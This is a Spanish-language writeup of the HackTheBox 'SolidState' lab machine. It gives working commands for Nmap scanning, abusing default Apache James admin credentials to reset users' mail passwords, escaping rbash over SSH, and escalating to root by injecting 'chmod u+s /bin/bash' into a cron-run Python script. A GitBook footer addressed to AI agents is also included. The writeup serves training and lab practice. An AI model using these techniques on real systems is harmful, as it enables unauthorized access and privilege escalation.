> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md). # Writeup de Solidstate en HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Abusando de la Herramienta de Administración Remota de James * Cambiando la contraseña de correo electrónico de un usuario * Fuga de información * Escapar de Restricted Bash (rbash) * Creando un script de bash para detectar trabajos cron (procmon.sh) * Abusando de un Trabajo Cron (Escalada de Privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Explorando puertos abiertos y exportándolos al archivo "allPorts" en el directorio de Nmap. ```bash nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (22.25,80,110,119,45555)

Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted ```

### Puerto 80 #### No se encontró información interesante en el puerto 80.

## Administración remota de JAMES ### Puerto 119 - NNTP > El puerto 119 usa el Protocolo de Transferencia de Noticias de la Red. El servidor ejecuta una instancia de Apache James, un servidor de correo y noticias. Nos conectamos con `netcat`, pero no se encuentra información relevante. ```bash nc 10.10.10.51 119 ```

### Puerto 4555 - Herramienta de administración remota > En el contexto de la administración remota, se puede utilizar para acceder a paneles de control o interactuar con servicios remotos en la máquina objetivo. Es importante escanearlo para ver si está abierto y qué servicio aloja. Intentamos conectarnos al panel de administración de James mediante Telnet: ```bash telnet 10.10.10.51 4555 ```

Después de buscar las credenciales predeterminadas, encontramos: * **ID** : root * **Contraseña** : root

Nos conectamos con éxito y accedemos al panel de administración de James. Tenemos la opción de listar usuarios con el `listusers` comando, lo que nos permite descubrir 5 usuarios: * `usuario: james` * `usuario: thomas` * `usuario: john` * `usuario: mindy` * `usuario: mailadmin`

Podemos cambiar las contraseñas de los usuarios con el `setpassword` comando para conectarlos al cliente de correo en el puerto 110. Hacemos esto para todos los usuarios: ```ada setpassword james james setpassword thomas thomas setpassword john john setpassword mindy mindy setpassword mailadmin mailadmin ```

### Puerto 110 - POP3 > El puerto 110 es el puerto estándar usado para **POP3** (Protocolo de Oficina de Correos versión 3). Este protocolo es utilizado por los clientes de correo electrónico para recuperar correos de un servidor. Cuando un usuario se conecta a un servidor POP3 a través de este puerto, puede descargar sus mensajes. Ahora nos conectamos al cliente POP3 mediante Telnet:

telnet 10.10.10.51 110

Para conectarnos, usamos los siguientes comandos: ```ada USER PASS ``` Listamos los mensajes con el `list` comando. Observamos que no hay mensajes en los buzones de `james` y `thomas`.

Sin embargo, el usuario `john` tiene un mensaje que recuperamos con el `retr 1` comando. El mensaje contiene el siguiente texto: > John, > > ¿Puedes restringir el acceso de Mindy hasta que se le permita unirse al programa? Además, asegúrate de enviarle una contraseña temporal para que pueda conectarse a sus cuentas. > > Gracias de antemano. > > Atentamente,/ James

Esto sugiere que el usuario `mindy` tiene credenciales en su buzón. De hecho, encontramos la siguiente información: * **Nombre de usuario** : mindy * **Contraseña** : P\@55W0rd1!2@

Usamos estas credenciales para conectarnos por SSH y obtener la flag `user.txt`. ### Bandera user.txt :)

## Escalada de privilegios : ### **Escapar de RBash a Bash** El `mindy` el usuario actualmente usa una `rbash` shell que limita la ejecución de muchos comandos.

Para eludir esta restricción, usamos el siguiente comando al conectarnos por SSH para obtener una shell Bash: ```bash ssh mindy@10.10.10.51 -t "bash --noprofile" ```

Luego usamos los siguientes comandos para manejar la terminal y obtener una shell completa: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Tareas cron - Script modificado (Python): Creamos un script de Bash para analizar los procesos actuales y detectar tareas cron realizadas en la máquina objetivo: ```bash #!/bin/bash old_process=$(ps -eo user,command) while true; do new_process=$(ps -eo user,command) diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker" old_process=$new_process hecho ``` Al ejecutar este script, notamos que el **root** usuario está ejecutando un script de Python ubicado en el `/opt/tmp.py` directorio.

Tenemos la posibilidad de modificar este script de Python.

Lo modificamos para añadir el comando para establecer un **setuid** en el `/bin/bash` binario, lo que nos permite ejecutar una shell Bash con los privilegios de **root**: ```python #!/usr/bin/env python import os import sys try: os.system('chmod u+s /bin/bash') except: sys.exit() ``` Después de editar el script, esperamos aproximadamente un minuto para que se ejecute la tarea cron. Una vez ejecutada la tarea cron, podemos obtener una shell Bash con **root** privilegios ejecutando el siguiente comando: ```bash /bin/bash -p ```

### Bandera root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.